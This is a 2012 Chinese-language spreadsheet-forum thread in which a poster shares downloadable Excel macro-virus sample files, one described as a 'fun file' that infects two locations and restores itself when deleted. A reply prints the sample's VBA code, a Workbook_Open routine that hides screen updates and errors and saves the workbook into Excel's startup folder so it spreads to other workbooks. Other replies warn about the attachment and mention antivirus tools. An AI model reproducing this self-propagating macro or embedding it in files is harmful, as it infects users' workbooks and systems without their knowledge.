簡易的EXCEL宏感染原理檔案

HUNGCHILIN · 发表于 2012-2-22 01:30

本帖最后由 HUNGCHILIN 于 2012-2-22 01:47 编辑

這個是一個簡易的感染原理檔案
不是什麼高技巧，僅提供一個思維與解毒想法
開啟檔案與宏後
換選 SHEET與點選其他活頁簿，會作EXCEL操作感染，不熟悉EXCEL的人請勿下載

testvi.rar (13.25 KB, 下载次数: 52)

cbg2008 · 发表于 2012-2-22 02:47

楼上的附件有病毒，内功不够的别下载了。{:soso_e144:}

lzqlaj · 发表于 2012-2-22 07:25

本帖最后由 lzqlaj 于 2012-2-22 07:35 编辑

附件中病毒代码
Private Sub Workbook_Open()
On Error Resume Next
Application.ScreenUpdating = False
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "Book.xls") = "" Then
      Sheets("Sheet1").Select
      ActiveSheet.Shapes("Book1").Select
      Selection.Verb Verb:=xlPrimary
      'Application.OnSheetActivate = "'Book.xls ? ???'!auto_open"
      ThisWorkbook.SaveAs Filename:=Application.StartupPath & "\" & "Book.xls"
ElseIf ThisWorkbook.Path <> Application.StartupPath And Dir(Application.Path & "\XLSTART\" & "HTESTVI.xls") = "" Then
      Application.ScreenUpdating = False
      Sheets("Sheet1").Select
      ActiveSheet.Shapes("Book1").Select
      Selection.Verb Verb:=xlPrimary
End If
End Sub
不愿下载附件，可以看看。

HUNGCHILIN · 发表于 2012-2-22 18:02

本帖最后由 HUNGCHILIN 于 2012-3-8 00:34 编辑

上述是簡單的包裝操作型只是想法，且要換SHEET等事件才會動作

下列這則是檔中檔型感染，一開啟有開宏就會感染，且感染兩處位置
兩處可以互相支援就是刪除兩處之另一處會複製新感染過來，這邊為避免過於複雜
只用單邊支援就是一處被刪會支援複製新感染過來，另一處被刪不會支援複製新感染過來

是個好玩的檔

檔中檔包裝感染檔範例.rar (12.74 KB, 下载次数: 38)
2010版無法使用

excelhomeljch · 发表于 2012-2-22 18:10

楼主对病毒有些研究
想请教一下,典型的startup病毒是怎样在新文件中添加startup模块的?

liucqa · 发表于 2012-2-22 18:20

留个记号先

wengjl · 发表于 2012-2-22 19:32

饿得功力不够，就不下载了

baomaboy · 发表于 2012-2-22 19:59

HUNGCHILIN 发表于 2012-2-22 18:02
上述是簡單的包裝操作型感，要換SHEET等事件才會動作

下列這則是檔中檔型感染，一開啟有開宏就會感染，且 ...

这个好像没起作用。

lzqlaj · 发表于 2012-2-22 20:31

下载安装“office 病毒专杀迎春版”，开启宏病毒防护盾，附件里的病毒无法运行。大家可以试试。

baomaboy · 发表于 2012-2-22 20:36

lzqlaj 发表于 2012-2-22 20:31
下载安装“office 病毒专杀迎春版”，开启宏病毒防护盾，附件里的病毒无法运行。大家可以试试。

开启后正常应用宏可以运行吧？

		自动登录	找回密码
密码			免费注册

[讨论] 簡易的EXCEL宏感染原理檔案

個